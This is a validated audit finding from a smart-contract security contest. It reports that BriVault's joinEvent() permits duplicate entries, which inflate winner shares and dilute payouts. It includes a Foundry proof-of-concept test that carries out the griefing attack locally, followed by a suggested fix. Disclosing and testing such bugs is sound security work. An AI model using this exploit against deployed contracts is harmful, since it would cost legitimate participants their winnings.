BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Double Country Assignment Griefing Attack

Root + Impact

Description

  • BriVault's joinEvent() function allows unlimited duplicate tournament entries, enabling griefing attacks that inflate winner share calculations and severely dilute legitimate participants' payouts.

  • Attackers can call joinEvent() multiple times to bloat the usersAddress array, causing _getWinnerShares() to count each duplicate entry and artificially inflate totalWinnerShares, resulting in massive payout dilution for all tournament winners.

function joinEvent(uint256 countryIndex) external {
@> // ... validation checks ...
@> userSharesToCountry[msg.sender][countryIndex] += amountAfterFee; // Always increments
@> usersAddress.push(msg.sender); // Always adds to array
@> // NO DUPLICATE PREVENTION
}
function _getWinnerShares() internal returns (uint256) {
@> for (uint256 i = 0; i < usersAddress.length; ++i){ // Iterates duplicates
@> address user = usersAddress[i];
@> totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // Counts each duplicate
@> }
return totalWinnerShares;
}

Risk

Likelihood: High

  • This vulnerability is highly likely to occur because the attack is trivial to execute with no technical barriers (just call joinEvent() multiple times), no validation prevents duplicate entries, and strong incentives for griefing competitors.

Impact: High

  • Economic Dilution: Winners receive payouts diluted by factor of 2x-100x+ depending on attack scale

  • Gas-Based Attack: Limited by gas costs but still economically viable for griefing

  • Protocol Damage: Tournament becomes unusable, participants lose trust

  • Minimal Attacker Cost: Attacker pays only participation fees but dilutes all winners

Proof of Concept

The POC demonstrates a griefing attack where an attacker dilutes legitimate winners' payouts by creating duplicate tournament entries. The test sets up multiple legitimate participants, then has an attacker call joinEvent() repeatedly to bloat the usersAddress array. When winner shares are calculated, the inflated array causes massive dilution of payout amounts.

The test verifies that legitimate winners receive severely reduced payouts due to the attacker's duplicate entries artificially increasing the total winner share denominator.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* PoC: Double Country Assignment Bug
* Impact: Griefing attack diluting all winner payouts
*
* Root Cause: joinEvent() allows unlimited duplicate entries, bloating usersAddress array
* that _getWinnerShares() iterates through. When _getWinnerShares() counts each duplicate,
* it inflates totalWinnerShares and dilutes all winners' payouts.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract DoubleCountryAssignmentExploitTest is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim1 = makeAddr("victim1");
address victim2 = makeAddr("victim2");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100; // 1%
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
// Initialize time variables
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
// Deploy mock ERC20 asset
asset = new MockERC20("Mock Token", "MOCK");
// Deploy vault with tournament parameters
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
// Set up tournament countries
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
// Setup user balances
asset.mint(attacker, 1000 ether);
asset.mint(victim1, 1000 ether);
asset.mint(victim2, 1000 ether);
// Approve vault to spend tokens
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(victim1);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(victim2);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
function test_DoubleCountryAssignmentBug_ArrayBloating() public {
// Victims participate legitimately
vm.startPrank(victim1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim1);
vault.joinEvent(0); // Join Brazil once
vm.stopPrank();
vm.startPrank(victim2);
vault.deposit(200 ether, victim2);
vault.joinEvent(0); // Join Brazil once
vm.stopPrank();
// Attacker participates legitimately once
vm.startPrank(attacker);
vault.deposit(200 ether, attacker);
vault.joinEvent(0); // Join Brazil once
vm.stopPrank();
// Verify initial state
assertEq(vault.numberOfParticipants(), 3, "Three participants initially");
assertEq(vault.usersAddress(0), victim1, "Victim1 at index 0");
assertEq(vault.usersAddress(1), victim2, "Victim2 at index 1");
assertEq(vault.usersAddress(2), attacker, "Attacker at index 2");
// Attacker calls joinEvent() multiple times (the bug!)
vm.startPrank(attacker);
vault.joinEvent(0); // Second call - should not be allowed but is!
vault.joinEvent(0); // Third call
vault.joinEvent(0); // Fourth call
vault.joinEvent(0); // Fifth call
vm.stopPrank();
// Verify bloated state
assertEq(vault.numberOfParticipants(), 7, "Participants count inflated to 7");
assertEq(vault.usersAddress(3), attacker, "Attacker duplicated at index 3");
assertEq(vault.usersAddress(4), attacker, "Attacker duplicated at index 4");
assertEq(vault.usersAddress(5), attacker, "Attacker duplicated at index 5");
assertEq(vault.usersAddress(6), attacker, "Attacker duplicated at index 6");
}
function test_WinnerShareInflation_DilutionEffect() public {
// Setup: victims participate legitimately
vm.startPrank(victim1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim1);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(victim2);
vault.deposit(200 ether, victim2);
vault.joinEvent(0);
vm.stopPrank();
// Attacker participates and duplicates
vm.startPrank(attacker);
vault.deposit(200 ether, attacker);
vault.joinEvent(0); // Legitimate join
vault.joinEvent(0); // Duplicate 1
vault.joinEvent(0); // Duplicate 2
vault.joinEvent(0); // Duplicate 3
vault.joinEvent(0); // Duplicate 4
vm.stopPrank();
// Set Brazil as winner - this calls _getWinnerShares()
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0);
vm.stopPrank();
// Verify inflated winner shares
uint256 attackerShares = vault.balanceOf(attacker); // 198 ether after fee
uint256 expectedInflatedTotal = (2 * 198 ether) + (5 * 198 ether); // 2 victims + 5 attacker entries
uint256 actualTotalWinnerShares = vault.totalWinnerShares();
assertEq(actualTotalWinnerShares, expectedInflatedTotal, "totalWinnerShares inflated by duplicates");
assertEq(attackerShares, 198 ether, "Attacker has normal individual shares");
}
function test_PayoutDilution_GriefingAttack() public {
// Setup tournament with bloating
vm.startPrank(victim1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim1);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(victim2);
vault.deposit(200 ether, victim2);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(attacker);
vault.deposit(200 ether, attacker);
vault.joinEvent(0); // 1
vault.joinEvent(0); // 2
vault.joinEvent(0); // 3
vault.joinEvent(0); // 4
vault.joinEvent(0); // 5
vm.stopPrank();
// Set winner
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0);
vm.stopPrank();
// Calculate expected vs actual payouts
uint256 vaultBalance = asset.balanceOf(address(vault));
uint256 totalWinnerShares = vault.totalWinnerShares();
uint256 expectedPayoutPerShare = vaultBalance * 1 ether / totalWinnerShares;
// Victim1 withdraws
vm.startPrank(victim1);
uint256 v1BalanceBefore = asset.balanceOf(victim1);
vault.withdraw();
uint256 v1BalanceAfter = asset.balanceOf(victim1);
vm.stopPrank();
uint256 v1Payout = v1BalanceAfter - v1BalanceBefore;
// Victim2 withdraws
vm.startPrank(victim2);
uint256 v2BalanceBefore = asset.balanceOf(victim2);
vault.withdraw();
uint256 v2BalanceAfter = asset.balanceOf(victim2);
vm.stopPrank();
uint256 v2Payout = v2BalanceAfter - v2BalanceBefore;
// Attacker withdraws
vm.startPrank(attacker);
uint256 aBalanceBefore = asset.balanceOf(attacker);
vault.withdraw();
uint256 aBalanceAfter = asset.balanceOf(attacker);
vm.stopPrank();
uint256 aPayout = aBalanceAfter - aBalanceBefore;
// Calculate dilution
uint256 normalExpectedPayout = 198 ether; // Without inflation
uint256 dilutionFactor = totalWinnerShares / (3 * 198 ether); // 7/3 ≈ 2.33x dilution
// Verify dilution effect
assertLt(v1Payout, normalExpectedPayout, "Victim1 payout diluted");
assertLt(v2Payout, normalExpectedPayout, "Victim2 payout diluted");
assertLt(aPayout, normalExpectedPayout, "Attacker payout also diluted (griefing)");
}
}

Recommended Mitigation

To prevent duplicate tournament entries and eliminate the griefing vector, implement a check to ensure users can only join each country once.

- function joinEvent(uint256 countryIndex) external {
- // ... validation checks ...
- userSharesToCountry[msg.sender][countryIndex] += amountAfterFee; // Always increments
- usersAddress.push(msg.sender); // Always adds to array
- // NO DUPLICATE PREVENTION
- }
+ function joinEvent(uint256 countryIndex) external {
+ // ... existing validation ...
+ require(userSharesToCountry[msg.sender][countryIndex] == 0, "Already joined this country");
+ // ... rest of function ...
- }
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!